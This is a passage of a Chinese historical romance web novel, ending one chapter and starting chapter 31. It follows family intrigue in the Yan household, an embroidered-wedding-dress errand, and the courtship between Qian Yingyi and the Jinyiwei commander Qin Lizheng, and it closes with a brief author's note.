见燕如衡霎时变了脸色,燕榆嗓音里喧出一声笑,拍一拍他的肩,“爹晓得,你喜欢她,但是男子汉大丈夫,还是莫要拘泥于情爱才是,有些话,爹只说一遍,你可明白?” “只有紧紧绑在一处,就算事发,咱们的死活也有人管。” 燕如衡藏在袖管子里的手逐渐握紧,手背青筋虬结,满腔怒气尽数被浇灭。 他自小饱读诗书,成长路径可谓顺风顺水。 可在此刻,他倏然发觉,他竟能一再因为亲情被拿捏,竟能窝囊到这种地步。 大约是为了抗争,为她,也是为他自己。 燕如衡眼风稍移,冷不防夺了王弋桌上的那块碎片抵在喉间,冷道:“舍不得,但我的性命我能做主,爹,您自己看着办。” 他手下使力,鲜血登时由亮锃锃的碎片往外渗。 王弋眼珠子来回一转,见意见不合闹成这样,忙上前斡旋,“哎唷,好好的一对父子这是做哪样?不下药就不下药,姐夫,我倒觉得三郎说得不错,钱家那女孩子又不是普通小门户出来的,你轻易下药,人家真要查起来,保不准就查出点什么,先消消气。” 又去拽燕如衡,“三郎,你气性是愈发大了,舅舅记得你小时候乖顺得很,哟,疼不疼啊?快先撒手,先把伤口上些药!” 燕如衡像堵硬墙似的立在原地,酂白色的袍子上已渐染血迹,只固执盯着燕榆。 燕榆被怄得一阵咳嗽,气性冲脑,指着他正要说随他死去!偏巧这时外头响起阵脚步声,燕榆顺手拿了个杯盏就砸过去,“谁?滚远点!” 半晌,门外响起燕文瑛的声音,“爹,是我。” 听及是长女,到底是亲生的,燕榆神色渐缓,冷扫燕如衡一眼,“你给我撒手。” 变相等于妥协。 又冲门口道:“是瑛瑛啊,进来。” 稍刻,门被推开,露出燕文瑛有些憔悴的一张秀脸。 燕榆见状渐渐拧眉,问,“怎么回事?怎么这时候回家了?蔺玉湖又欺负你了?” 燕文瑛眼眶酸胀,立时上前扑进燕榆怀中,哭道:“爹!我要和离!” 怪哉,好好地,做什么要和离呢? 原来这蔺玉湖日日只 顾玩乐,因燕如衡在行院那边打过招呼,各家行院早已将蔺玉湖拒之门外,蔺玉湖消遣不得,又与燕文瑛相看两生厌,干脆就大着胆子与家里几个丫鬟厮混到一处。 不巧被燕文瑛身边的奶妈妈发觉,燕文瑛近来将那些丫鬟都给处理了,发还回家的发还回家,赶出去的赶出去。 偏有一位起了要当姨娘的心思,引着蔺玉湖去她那的次数最多,这一来二去,肚子里就有了孩儿。 到底一条性命,燕文瑛打骂不得,便频频与蔺玉湖争吵。 蔺玉湖起先躲着她,后来也许是想通了,总归与她过不到一处去,渐渐地,也在争吵时推她两把,打她两下。 燕文瑛的泪水像线珠子似的顺着燕榆的衣裳往下掉,她道:“那黑心肝的畜牲!他竟敢打我,爹,他竟敢打我!” 这话使燕榆听得怄火,也想把那蔺玉湖好好教训一顿。 想及自己与蔺边鸿是一条绳上的蚂蚱,无法闹翻脸,又只得一连迭顺着燕文瑛的背脊轻拍,“好好好,爹回头与你公爹说,定把那蔺玉湖捉来打板子,那怀孕的丫鬟也由你公爹出面处理了!” 半句不提燕文瑛要求的和离一事。 燕文瑛猛然从他怀中退出,目色充满不可置信,“爹!他打我!您听明白了吗?他敢对我动手了!” 人往往要涉及自身时,才能发觉旁人的动机与计谋。 燕文瑛亦是如此,尽管她先前在燕如衡面前斥他,此番轮到自己,也不由地要为自己忿言。 她环视三人一圈,目光在燕如衡的伤口上停了一瞬,倏然点点下颌,嘲讽评点道:“你们又在商量大计,是我误闯了。” 说罢,她扭头望向燕榆,大约是突然被燕如衡身上那抹鲜血刺痛,双目饱含热泪,“爹,为了您的谋算,我与弟弟都要葬送自身,成为您拉拢旁人的筹码,看弟弟这模样,是不大愿意了。” 她声音很轻,满腔委屈化作愤意,“爹,我再问您一遍,能不能叫我与蔺玉湖和离?这日子我一天都过不下去了,我不愿再在蔺家当个明面风光实则窝囊的少奶奶。” 她自小要什么有什么,本也该有一桩美满姻缘。 是爹说,蔺玉湖是他看着长大的,还算本分,家世亦算匹配,且她还是下嫁,日后把蔺玉湖拿捏在手心里,日子别提有多圆满。 可蔺玉湖这些年的所作所为,无一不在下她的脸面,无一不在蔑视她的婚姻! 凭什么? 燕榆与蔺边鸿既是姻亲,又彼此知晓其贪墨之事,一根绳的蚂蚱,哪能说断就断? 因此,燕榆陡然也心生烦躁,只觉一双儿女都在坏事,一拂袖便道:“不许再说什么和离之事,也不许再优柔寡断为个女人伤及性命,若没点本事,就不要再当我燕家儿女!都出去!” 言下之意便是糊弄过去了。 燕文瑛深深吸气,点了点头,拉着燕如衡一并冲了出去。 姐弟二人一路行至一处墙根下,燕文瑛才又忍不住掩面低泣。 燕如衡自己犹有些痛,窥她哭成这样,也只能把她拍一拍,“阿姐,我替你出气。” 直至此刻,燕文瑛好似才看清他究竟是何底色,盯着他脖子上那抹伤,哑声道:“爹要对钱映仪做什么?让你急成这样。” 燕如衡轻垂眼皮,把燕榆的计划言简意赅说明。 燕文瑛讽笑,“原来如此,你做得对,这手段太过阴私,你当真喜欢钱映仪?” 燕如衡点头应声。 或许是身为女人,燕文瑛在蔺家过得憋闷委屈,又或许是今番回家求爹做主,爹却蒙头给她一棒,燕文瑛竟对钱映仪生出艳羡,心肠也倏软下来,“既喜欢她,就好好去她面前表现。” 燕如衡敏锐察觉她的话音,竟不复从前,心思便打了几个转,下一刻,试探问,“阿姐想不想脱离当下?” 他想,倘或他能找到法子迫使燕榆停手,或许阿姐也能顺利和离,他也能坦然接近钱映仪,不必再怀揣心虚与自责。 他的将来,或许还能重见光明。 燕文瑛哪能没听懂?到底没有血脉相连,她警惕把燕如衡窥一窥,疑心他要做些什么。 可大约是心头实在咽不下在蔺玉湖那里受的气,俄延半晌,她只是摸出帕子把泪揩干净,又道:“先管好你自己,去请个郎中来替你包扎,血流干了,可谈不上什么脱离不脱离的了。” 陡然狂风大作,停了片刻的细雨霎时变大,暴雨滂沱,燕如衡忙拉着燕文瑛去廊下躲雨。 不远处一棵杏树被风吹得摇摇欲坠,树上的杏果止不住地往下掉,一颗,两颗,跌落在地迸裂而开。 或许是在此刻,有什么坚不可摧的东西正悄然被划开一条口子,只待时机一到,便会尽数坍塌。 。 夜雨未停,秦离铮一面撑伞,一面踏着暴雨自淮河两岸转出来。 刚与褚之言交换过消息。 捉贼拿赃,凡事讲究证据。经探查,裴骥果真留有后手,手中握有燕榆等人走私贪墨的账本。 原来王弋向来瞧不起裴骥,被他哄着喝了酒,又捧上了天,一时得意就说漏了嘴。 只是裴骥狡猾至极,账本藏匿至深,连锦衣卫都一时半会找不到藏匿点。 仅凭一册账本,证据还不太够看,是以秦离铮又与褚之言交代一番,推测燕榆或许会灭口,届时务必将那几个地主给救下。 青年撑着一把油纸伞,独自临着商铺行走,不防一辆马车急匆匆驶过,溅起大半片水珠,尽数浇湿他的袍子。 秦离铮不恼,只是稍抬伞面,循声去望。 瑞王府的马车。 或许又是瑞王妃使人来外头买些珍馐佳肴哄儿子高兴。 半刻钟前与褚之言的交谈陡然浮现在耳侧。 彼时他们刚谈过正事,褚之言打趣秦离铮,“嗳,指挥,听说瑞王世子在家日日闹脾气呢,你也是,打断瑞王世子的腿,这样要紧的事,就不在心上人面前表现表现?” 俞敏森一再得罪钱映仪,本该如此教训一番。秦离铮不靠这种事讨女人欢心,便把话岔开,问,“当年跟随瑞王的那些幕僚,查得如何了?” 褚之言坐姿端正起来,沉声道:“有些眉目了,当年瑞王为了脱责,回到金陵便对一众幕僚痛下杀手,其中有个聪明的,提前服了假死药,靠买通瑞王手下办事之人逃出生天,只是逃往何处,还需耐心再去寻。” 没死,就意味着兄长平反有希望。 秦离铮浑身的血液都活了过来,心情犹好,浅聊几句,想及钱映仪怕狗,便把爱犬松松托付给褚之言。 褚之言不可置信瞪眼,“待回京师,把松松送来我这?你就想着与钱小姐谈婚论嫁了?你俩八字还没一撇呢!” 因忽下暴雨,沿街商铺眼瞧做不了生意,便挨个把门给阖紧了。 秦离铮收回思绪,想到钱映仪,他勾唇笑一笑,继而撑着伞独行雨中。 待回钱宅,与余骋撞到一处。 前些日子那状告地主的案子,明面是巡抚断案,实则背后是秦离铮在提建议,余骋虽助他完成皇上交代的任务,但也依旧防着他。 大舅哥的嘱咐,他可没忘。 余骋早已成婚,是过来人,这一眼望去,便知秦离铮与钱映仪之间有猫腻,他倒也是个实诚之人,倏然望一望檐外的瓢泼大雨,道:“秦指挥,你说,金陵是不是要变天了?” 秦离铮挥一挥袍角雨珠,淡道:“有话直说。” 此处只有他二人,余骋干脆敞亮说话:“那便恕我直言,指挥,你喜欢映仪,我与大哥早已看出,可你不适合待在映仪身边,从前京师变天,岳丈岳母都避而远之,你的身份,是个潜在的危险,映仪是家里娇惯爱护着长大的,她的身边不该有危险,你觉得,倘或岳丈岳母知晓,会同意吗?” 京师何时变过天?哦,恒王造反,是变过一次。 秦家正是在那次变天后被京师众多门户避得远远的。 余骋言下之意便是:你秦家曾身陷泥潭,即使如今过得安稳,到底与“谋逆 “沾边,就算如今的皇上不在意,你秦离铮位高权重,坐到了锦衣卫指挥使的位置上,可谁能保证日后这桩旧案不被翻出来?对外宣称斩断亲缘又如何呢?骗骗别人罢了。一家人,打断骨头连着筋,你秦离铮永远是从前那个秦家二郎,映仪嫁与你,当真能顺遂过一辈子? 彼此所求不同,立场不同,秦离铮听出其意并未恼怒,只勾唇笑了笑,“若我说,是皇上赐婚呢?” 余骋眸色微闪,也跟着笑,“那我劝指挥一句,最好别这么做,届时大家闹得不愉快,难受的是妹妹。” 秦离铮默然不语,话不投机,自顾擦肩离去。 先回寝屋洗去一身潮湿,换了件干净的墨色圆领袍,秦离铮方去寻钱映仪。 岂知钱映仪不在云滕阁。 沿着整座钱宅仔仔细细搜寻,总算在一处偏僻的三角亭内寻到她的踪迹。 单薄的身影匍匐在石桌上,一动不动,轻轻走近才知是睡着了。 夜雨下的空气潮湿,把她额前两绺碎发洇得卷曲,立起来像在头上长了两只耳朵,实在可爱。秦离铮免不得暗自好笑,她独自一人在此,黑漆漆的,连盏灯都没点,就不怕? 他放轻动作捞起她,趁她还未醒,复又忍不住把鼻尖在她腮畔多蹭一蹭。 钱映仪正发着梦,梦里行至一处悬崖,后头像是有什么在追赶似的,她不防就踏空,身体霎时变得轻飘飘的。 一个猛子惊醒睁眼,才发觉竟是被人打横抱着。 看清是谁,她忙急晃两只脚,初醒的嗓音喧出一丝丝哑,“放我下来!” 秦离铮弯腰放她落地,噙着笑盯着她不说话。 钱映仪拍一拍胸脯,打转回凉亭坐下,连喝两盏凉茶压惊,方掀眼去瞧他,“你怎么知道我在这?” “一路寻过来的,”秦离铮慢步行至她身前,往怀里摸出个油纸包,搁在她跟前,“听夏菱说你晚间没吃饭,饿不饿?我往外头去了一趟,茯苓糕,是你爱吃的,先垫一垫,我去厨房寻些吃食?” 钱映仪解开油纸包轻嗅,顿觉腹中空空,顺势埋首咬了一口。见他转背要走,她忙道:“等等!” 秦离铮脚步顿停,回身望她,嗓音很轻很柔,“怎么了?” 他把那黄纱灯笼捡一捡,“是怕?怕就与我一起去。” 钱映仪鼓着腮细嚼慢咽,待咽下,方垂下眼皮,小声道:“你留下,陪我再坐会儿。” 秦离铮惊诧片刻,不知她今日是为何“主动”起来,毕竟距二人约法三章已过去十来日,她一惯是躲着他。 他只好掀袍与她对坐,目光停在她的脸上,问,“我申时出去时,你还好好的,是发生了什么事?” 说到此节,钱映仪不大高兴,把茯苓糕搁在石桌上,道:“傍晚时候小玳瑁跑来与我说,他想挑个好日子娶春棠过门。” 她不高兴时总爱把微嘟的唇瘪一瘪,恨不能浑身上下都写满“不高兴”这三个字,拳头轻轻握着,肩也跟着往下塌,这些特征在今夜犹显。 秦离铮明白过来,在她眼前笑了下,“舍不得春棠?所以才独自跑来这生闷气?” “不是说过吗,不许生闷气,”他把她瘪下去的唇角往上推一推,半开玩笑似的逗她,“不然,我替你去打小玳瑁一顿?他身受重伤,就没法迎娶春棠过门了。” 钱映仪猛然一捶桌面,忿忿道:“早知我就不那么快促成他俩的好事!哪有这样快的?前后才多久?” 秦离铮抖着肩笑,料想她气得不轻,问,“春棠是什么意思呢?” 钱映仪霎时泄气,扑在石桌上,把脸贴在冰凉的桌面,模样有些蔫,“正是因为这个我才不高兴呢,我眼巴巴跑去问春棠,春棠朝我点头,她朝我点头!” “夏菱虽然打小就跟着我,同我很亲,可春棠也不差!她若嫁给小玳瑁,就不好再在我跟前待着了,我不是想要她接着伺候我,只是只是” 她把脸转过去,拿后脑勺对着秦离铮。 雨势到这时已然渐小,雨声淅淅沥沥,亭外仍刮着“呼呼”作响的风,她的声音杂糅在里面,闷闷的,“只是我舍不得她,在我心里,她和夏菱的份量是一样的。” 秦离铮心中着实对小玳瑁即将成婚有些艳羡。 盯着眼前人的后脑勺,知她仍保留单纯与天真,他抬起手轻掣她的脑袋,把温热的手掌垫在她的脸下,哄她,“可春棠与夏菱不能待在你身边不嫁人,小玳瑁心性正直,干起活来也不抱怨,又得春棠喜欢,他们喜结连理,你该高兴才是,犯不着在这生闷气。” 钱映仪稍怔,落在他掌心的半张脸顿时仿若火烧,她想躲一躲,又倏然觉得很是温暖,便僵着身子没动,只道:“我就是不高兴,你懂什么?” 说话时,她的唇肉轻轻在那布满薄茧的掌心上蹭,像在吻他。她太不自在,便把话撇开:“你说嫁人有什么好的,这一两年,光是“嫁”这个字,我听得耳朵都快起茧子了,我才不要嫁嘶!你做什么?” 秦离铮勾着指尖轻戳了一把她的脸,把她发软的脸颊戳得往上挤了挤,后头那句“才不要嫁人”便说不出口了。 钱映仪撑起身来瞪他,像刻意要报复他,便又接着道:“哦,我还想说呢,女人要嫁人,无非也是春心动,想与那个男人过一辈子,但女人总是太好骗,有些男人起先装模作样,后面就不装了,要我说,男人这种东西,都是一样的小气!只为自己!” 秦离铮被她一席话说得益发想笑,想她闺阁小姐一个,与人说起道理来头头是道,便把一张脸凑上前,在她眼前扯出个愈发肆意的笑,“拐着弯说我小气?你能与我约法三章,就不许我捂你的嘴,避免你说些我不爱听的话?你不是我,怎知我与那些男人是一样的?” 自打那点爱慕的心思由他嘴里说出来,钱映仪时常就不肯在他面前低下头,此刻也是直直回望他,丝毫不肯占了下风。 眼瞧他眼神逐渐晦暗,脸也靠得近了,像要亲她,回想起那夜那个令她头晕目眩的吻,她陡然毫无缘由地起身,拉进了与他的距离。 秦离铮顺势仰脸看她。 钱映仪蓦然狠狠一戳他束在头顶的头发,凶巴巴道:“你眼睛是长得歪了还是怎么回事?屋子里不是没有镜子,好歹也照一照,快些摆正它!” “是吗?”秦离铮一把攫住她的手,顺势把她拉到两腿间站定,握着她的手往头顶胡乱揉搓两下,碎发便由此落下,他的语气很遗憾,“很可惜,没有梳篦,借你的手随意拂了拂,可正了?” 钱映仪被吓一跳,心虚朝四周瞟了几眼,复又转脸回来瞪他。 沉默片刻,垂下视线看那有些乱糟糟的头顶,她心头益发地痒,却仍紧握着拳,不肯替他顺一顺。 秦离铮便也只是握着她的手腕不松,一双眼盯着她看。 两方僵持,钱映仪猛地一闭眼,终于忍不了,把他乌黑发丝里的一根银簪抽出,一面抬手替他拢好每一根发丝,一面咬牙切齿咒骂他,“不要脸,小气,还满是心机,别以为我没瞧出来,你就是故意的,你给我等着,待会我就去禀了二婶婶,把你赶出去!” 秦离铮垂眼忍笑,由她去骂。 果然,待替他绾好头发,钱映仪立刻擎着那盏黄纱灯笼,旋裙往外跑。 不防被他使劲一拉,灯笼跌落在地,火星子噼啪绽响几声,周遭就陷进昏暗。 她的后臀欹在石桌边缘,腰身也被他压弯些许。 “那在赶我走之前,还请先让我回报一下,”秦离铮歪着脸把她窥一窥,俯身往她脸上一亲,“这一下,谢你替我绾发之举。” 见 她瞪大稍有震惊的眼,他的嗓音隐含蛊惑,“闭眼。” 一只手顺势覆在她轻颤的睫毛上。 钱映仪只听得见他说,“这一下,便算作我离开前向你讨要的东西。” 两片温热的唇贴了上来,带着他一惯有的薄荷香气。没有深入,只是轻柔缓慢地在她唇上厮磨。 与上一回不同,她没有饱胀得快溢出来的怒气,他也没有要把她吞吃入腹的野心,只是纯粹在她的唇上贴近,仿佛这样,两颗心也能在每一下的啄吻里愈靠愈近。 细雨丝丝,风势逼人,一些细微的雨珠斜斜吹在钱映仪肩头,滑进她的衣襟里。这令她产生一种错觉,好像她也跟着变得潮湿了。 她拒不承认自己会因他落下的一个吻而悸动。 因此,心一狠,她便搂上了他的腰。 秦离铮身体稍僵,立时明白她在与他较劲。便把她往上一托,抱起她贴紧廊柱,用肩背为她抵挡细细密密的雨,也深入往里探,加深了这个吻。 直到钱映仪推开他,别开脸气吁吁喘气。 他的目光落在她脸上,倏然一笑,“还亲吗?” 钱映仪抿着发麻的唇不松口。 秦离铮便放她下来,脸悬在她的眼前,“不要忘了你与我的约定,在三月之期未到之前,你再说要赶我走,我还向你讨要这个。” 他太了解她,心口不一,嘴硬心软。 说得钱映仪把嘴一捂,另一只手狠狠把他一推,一言不发就旋裙离去,至于她脸上那抹红和有些湿润的眼,究竟是什么,秦离铮不去细想。 他只是捡起那盏灯笼,复又点燃里头的烛火,静静跟在她的身后。 因为她,他的心活了过来。浑身血液充沛得仿佛要将他拉回数年前,要与从前那个意气风发的自己重合。 余骋并未说错,他的身世背景与她不相配,她生来该活在幸福里,他的一切都太沉重,他与她本就悲喜不通。 可兄长一事尚且有希望,这不妨碍他开始心有期盼。 为她,他愿意推翻一切。让兄长得以洗刷冤屈,让爹娘能在有生之年再见他承欢膝下,让他自己能再活一次,做回从前那个肆意张扬的秦离铮,再来与她相配。 他要排除万难留在她身边。 永远—— 作者有话说:映仪:你耍无赖!![愤怒][愤怒][愤怒] 不会有下药情节哈,请放心~我已经想把燕榆写死了,为了故事的完整性,我选择忍。 对机关算尽又只顾利益的人来说,可能最致命的一击来自身边~ 话说我每天的乐趣就是看你们的评论!!![爆哭]《 》 30-35 第31章 淅淅沥沥的雨一直在下,钱映仪裹着薄薄的被衾辗转反侧。很奇怪,这四角软枕向来是她用习惯的,脸枕在上头怎么热烘烘的?她跌宕起伏的一颗心左思右想,才发觉原来热的不是枕头,而是她的脸。 她今日胆子真大呀。怎么敢搂他的腰与他亲得“难舍难分”? 呸!什么难舍难分,她那是不想落了下风。女孩子翻了个身,嗅着屋子里惯用的那抹零陵香,总觉得身上、手臂、嘴唇上都是那股薄荷气。 因落雨,五月末的天气益发爽心清凉。钱映仪躲在被衾里窃窃伸手抚唇,唇畔渐渐轻弯,忽然觉得那抹薄荷气也没那么讨厌了。 俄延至三更时,连轴转的少女心事得以暂歇,钱映仪带着不自觉的那抹笑轻轻阖眼,陷入了梦乡。 次日雨过天晴,钱映仪用罢早膳,神清气爽往园子里转了两圈,再折返回来时,在云滕阁四面睃寻一眼,便喊道:“小玳瑁!” 少年蓦然赶来,仿佛是正等着她。 钱映仪捉着他仔细审视,倏问:“真想娶春棠?” 小玳瑁点头如啄米。 “那我问你,你爹娘可同意?你家中是几进的宅子?倘或春棠嫁给你,她听不见,和你爹娘说不上话,这世道又重孝,你爹娘若嫌她,你如何在中间斡旋?” 小玳瑁偷瞥站在钱映仪身后的春棠,脸上笑意难掩,逐个答道:“小姐,我爹娘早知我喜欢春棠,对这桩事是同意得不能再同意了!您也知道,我不是金陵人士,我爹娘做些香料生意,宅子算不得大,但我已经在托牙人看宅子!” “成、成婚后我与春棠另寻宅子住!至于我爹娘与她说话的问题” 小玳瑁笑意更甚,“我已教了我爹娘不少,他们与春棠正常说话没问题。” 钱映仪默了片刻,眼眶突然酸胀起来,“想娶她,你得与旁人一样,三媒六聘,风风光光迎她进门。” 夏菱与春棠更是亲密无间,也知晓她若嫁了人,就离开小姐身边,不再与她们作伴了,因此也悄悄别过脸把湿润的眼角擦一擦。 小玳瑁再三点着下颌保证,必将对春棠珍视呵护,钱映仪方不情不愿松口,“春棠没有亲人,我与爷爷当年在外头捡了她,算她娘家人,你下晌把你爹娘请来,我先见一见你的爹娘。” “是!”小玳瑁高兴得腰身都挺得直直的,忙不迭就拔脚往外奔,只留下一句,“春棠,等着我蒋渔带爹娘来见你!” 即使听不见,见他这般高兴,春棠也跟着抿出一个羞涩的笑。剩钱映仪与夏菱两个互相睇眼,彼此只剩不高兴与不舍。 少年办事利落,下晌方至,便领着一双爹娘进了钱宅。 蒋父蒋母知他在门户里当侍卫,他也只说是官宦人家,时至今日,才知是南直隶工部左侍郎这样大的官! 他们不过平民百姓,怎见过这样的富贵?甫一迈进钱宅,就不敢东张西望,生怕不懂这门户里的规矩而引出麻烦。 夫妻俩也免不得想,像钱小姐这样的人物出身矜贵,春棠又在人家跟前做一等丫鬟,只怕是比寻常小门小户的小姐过得都要滋润。 因此心中愈发小心谨慎,轻垂着眼跟随儿子的步伐行至待客的小花厅。 “小姐,这是我爹,这是我娘。” 蒋父蒋母谨慎抬眼,这一窥视就见个俏丽精致的女子歪着脸盯着自己瞧,也不说话,面上无甚神情。 二人这时才想起要行礼,碍着没在门户走动过,动起来又是一阵手忙脚乱。 好在钱映仪暗自审视过便放下姿态,冲二老一笑,“您二位不必向我行礼,小玳瑁与我家签的是活契,又没将自己卖进我家,您二位是长辈,合该我向您二位问好才是。” 蒋母心中暗道大户人家的小姐就是不一般,她经营一家香料铺子,也不是没见过小姐们,眼前这位实在是太好说话,心中便稍缓,忍不住那份好奇,壮着胆子去打量未过门的儿媳来。 这一看,复又顿住。 两个丫鬟都貌美若仙,究竟哪个才是儿子的心上人哩? 春棠腮畔浮起一抹红,不紧不慢往前站两步,端端正正向二人福身,模样乖顺惹人心生怜爱,蒋母眼前一亮,登时暗自在心中夸儿子有福气! 两方一来二去说了些话,钱映仪少不得要再盘问清楚些,于是接近日暮四合时,小玳瑁的一双父母才高高兴兴离去。 春棠与小玳瑁之间的喜事也这般先定了下来。 只是那黄道吉日需得细看,因此夜里一家人坐在桌前用晚膳时,钱映仪便先把此事与众人说了说。 家里的丫鬟要嫁人,本也不是件多稀奇的事。可春棠到底不同,倘或没有她,钱映仪刚到金陵的那几年便少了些陪伴,故而一家人陡然听闻此事也很是高兴。 尤其是钱兰亭,待用罢晚膳便悄摸把钱映仪唤来跟前。 他低声道:“当年是你与爷爷一起在街上遇见春棠的,她受了不少苦,这些年跟着你乖顺又本分,届时准备嫁妆时,你来寻爷爷一趟,爷爷私下替她添点,此事只此一次,别的丫鬟都没有,你不许胡乱声张!” 钱映仪一连抱着爷爷不撒手,此举引得她十分高兴,觉得与爷爷亲昵更甚,忙笑嘻嘻点头应下。 大事落定,小玳瑁益发心急,当夜就寻到钱映仪说了几个好日子,使得钱映仪连连笑话他,最终把成婚之日定在十一月初十。 春棠要嫁人,整个云滕阁都十分热闹,止不住地小丫鬟上前来恭喜她。 其中有个小丫鬟笑着问钱映仪,“小姐,春棠姐姐要从咱们这出嫁,我们这些个妹妹们能不能替春棠 姐姐绣一件嫁衣?” 引得夏菱抖着肩笑骂,“去去去,打个络子都要让我教上半日,谁敢将这样的活计交给你们呐?只怕届时到春棠出嫁那日,连刺绣都还没上哩!” 众人笑作一团,好不欢乐。 先前那死了远房亲戚的丫鬟垂着脑袋沉思半晌,倏举起腕子道:“小姐!奴婢那日与太太告假往城外亲戚家吊唁,正知道同村有个婶娘绣的衣裳极好哩!听说她先前是在江宁织造局做绣娘!” 不过片刻,她又讪笑两声,“只是人家年纪大了,从织造局辞任后便不再碰这些了,奴婢说了像是没说,嘿嘿。” 钱映仪竖着耳朵听了半晌,倒把这小丫鬟说的话放在心里细细琢磨,次日晨起便四处寻侍卫的身影。 秦离铮正在园子里擦剑,闻声掀眼瞧她,唇隐在剑身后面轻扬,“你要去寻那位绣娘?” “哎唷,你问这个做什么。”钱映仪执扇轻揺,见他穿着玄色箭袖直裰,半幅身子都在阳光下,照得石砖地上拉出长长一条影,她便去踩他的影子,把细细的尘埃也一并踩在脚下。 “春棠到底跟了我这么多年,人家想给她一个惊喜嘛!那可是在织造局待过的绣娘,专给宫里的贵人们绣东西呢,我私下悄悄去寻她,保不齐她就同意我的请求囖!” 见他不吭声,她便一跺脚,力气震在他的影子上,忍不住催促道:“说话呀!你去不去?不去我就差使小玳瑁了。” 秦离铮瞥她神秘兮兮的神情,问,“绣娘在哪?” 钱映仪立时笑了,兴兴向他靠拢,道:“翠翠说,先出仪凤门,再往南驶十里地,见着静宁村的路引牌子,往里走到第五户人家,便能寻到那位绣娘。” 秦离铮浓眉重叠,“仪凤门?太远了。” “你怎么回事!”钱映仪小脸一板,离他霎时三丈远,“从前我差使你城东城西的跑,也没见你说远,我不管,我就要去!” 秦离铮把眉轻挑,盯着她不说话。 钱映仪正避着他暗暗翻眼皮,不防在脑子里琢磨出味儿,猛然一扭头望向他,目色稍显狐疑,“你能去的,是不是?你又在打什么坏主意?” 秦离铮笑,“太聪明了,这都叫你猜准。” 这时候尚早,园子里的丫鬟小厮正躲着懒打盹,无人窥瞧二人这头,他起身凝视她的脸,伸手轻掐她的腮肉,“忘了与你说,在这三月之期里,我也有两个要求。” 钱映仪防备往后退,“好啊,原来在这儿等着我呢!你说!” 她就晓得他这人不老实! 钱映仪心陡地提起来,原想他大约会提一些过分的要求,不防他只是轻轻吐出两句话。 “其一,往后外出,只能单独与我一起。” “其二,叫我阿铮。” 她免不得歪着脸去瞧他,不大相信,“没了?” 秦离铮点点下颌。 钱映仪不以为意“嘁”了声,旋裙欲离去,“行,我答应你,快些跟上,我现在就要出去。” 秦离铮立在原地没动,静静盯着她。 “”钱映仪未听见那道熟悉的脚步声,扭头茫然望他,待看清他唇畔那抹若有若无的笑时,她方反应过来,脸颊渐染红晕,不自在的嗓音犹低,“跟上,阿铮。” 先与夏菱打过招呼,只说是去外头办事,又使门房牵来马车,二人便顶着黄灿灿的太阳驶离琵琶巷。 从前有两个丫鬟跟着,钱映仪坐在马车里不觉无聊。今番也没个人说话,她只好轻挪屁股往前坐,指尖把车帘掀起个细细的缝隙,与秦离铮没话找话聊。 从幼时跟在兄姐屁股后头跑聊到念书,再聊到初来金陵时水土不服,病了好几日。 连她自己都尚未察觉,那条缝隙越来越宽,她离他也越来越近。 辗转近两个时辰,终于远远瞧见那路引牌子,钱映仪很是高兴,手由车帘内往外伸,一连迭去拍他的肩,“再快些!我看到了!” 没几时,赶至路引牌前。岂知突生阻碍,因昨日滂沱大雨的缘故,吹得树倒了好几棵,不远处那进村的木桥也叫雨淋歪,底下是宽宽的一条溪,瞧着有些危险。 好在有个汉子砍柴经过,好奇把二人偷瞥一眼,上前搭话,“您二位是来这儿寻人的?” 秦离铮稍稍颔首,与陌生人说话一惯是那副淡漠神情,“请问,还有没有别的路能进村?” 汉子也是个粗人,怎会计较这些细枝末节?忙抻手一指他身后,道:“那儿有片林子,有条小径能绕进村子里,嗐,您没来过吧?也不怪您不知道,村头这桥不大严实,我们在这住惯了的人一般不走这儿,都习惯绕路进村。” 言讫,这好心的汉子便摆一摆手,背着一筐柴自顾离去了。 钱映仪听得明白,知晓是条小径,便干脆打帘下车,与秦离铮一并走进去。 方行至那林子入口,见满地湿漉漉的,四处都有些泥泞,她便停步不走了,只把眼风往秦离铮身上送一送,两片唇肉动了动,一副要讲不讲的样子。 秦离铮也假意看不明白,站在原地不说话。 钱映仪觉得他有些过分,故意逗猫逗狗似的在逗她。可凝视着他的笑,心底更多的是一股羞恼之意,只想把他的嘴狠狠咬上一口,才算解气。 她站在原地不肯拔脚,拖了半日,到底忍不住开了口:“哎呀,你是木头脑袋么!这里脏,我不想走上去!” 秦离铮恍然,“那你在此处等我?” 钱映仪瞪着他,不大好意思再讲话。 盯着她遮遮掩掩的神情,秦离铮忍俊不禁,俯身靠近她,呼吸喷在她的额心,“你想怎样?说来我听一听。” 他真是个阴险狡诈的人呀!钱映仪止不住在心头暗骂他。 僵在这不是个法子,她大老远跑来也不是为了在外头等他,扭扭捏捏把手指绞一绞,最终还是小声道:“你能不能背我?” 秦离铮倏然朗笑几声,在她把双眼稍稍睁圆的间隙转背弯腰,自顾反捞她的腿弯离地。 钱映仪往前扑在他的背上,听他道:“有些话,也没那么难说出口,是不是?” “你故意的,”钱映仪咬牙切齿,伸手往他胳膊底下暗拧,听他闷哼一声,她心头才爽利痛快,两条胳膊搭在他的肩上,松松软软往下垂,心安理得享受着他伺候自己,“你走快些,这林子里也没个太阳,怪冷的。” 正午晌时,总算进了村。秦离铮把钱映仪放下,二人一前一后寻至第五间小院,钱映仪便站在篱笆外够眼往里瞧,轻唤,“敢问是花绣娘家么?” 不一时,窗内探出个脑袋,竟是先前见过的那砍柴汉子。 他也稍有怔愣,身影立时消失在窗后,眨眨眼的功夫就赶出来开门,“您二位?” 话音甫出,他便醒过神来,笑道:“是来寻我家娘子的?巧哩,她本是要出趟远门做客,昨日下大雨就给耽搁住了,今日正在家中无事,快些请进!” 钱映仪跟在秦离铮身后进去,由汉子引进西屋,没几时,门下那扇竹帘被掀起,走进个四十来岁的女人。 她忙起身端端正正行了个礼。 花绣娘在江宁织造局待了那么多年,只消一眼便知她是高门大户里的小姐,因此, 也朝她回一回礼。开口却是赶人: “这位小姐,倘或是要寻我替您缝制衣裳,还请回。” 钱映仪稍怔,细细思忖一番,暗道或许是她从江宁织造局出来,在十里八乡名声噪起,寻她裁制衣裳的人太多,便忙摆手道:“您误会了,我不是替自己来的。” 她抿出个和善的笑,“我也只是来碰一碰运气,家里亲人出嫁,我心有不舍,听闻您刺绣功夫极好,便想请您制一件嫁衣。” 不是为自己?花绣娘掀眼把她暗窥,正想出言婉拒。 那汉子在外头竖着耳朵听了半晌,倏道:“哎唷,你在家也烦闷,不是老想往外头找些活干?嫁衣,你不是最擅长的嘛,我方才见他们坐马车来的哩,人家大老远来,你就应下得了。” 花绣娘回身打帘,暗自把汉子轻啐,赶他往外头去,半晌复又进西屋,不防就对上一双期期艾艾的眼。 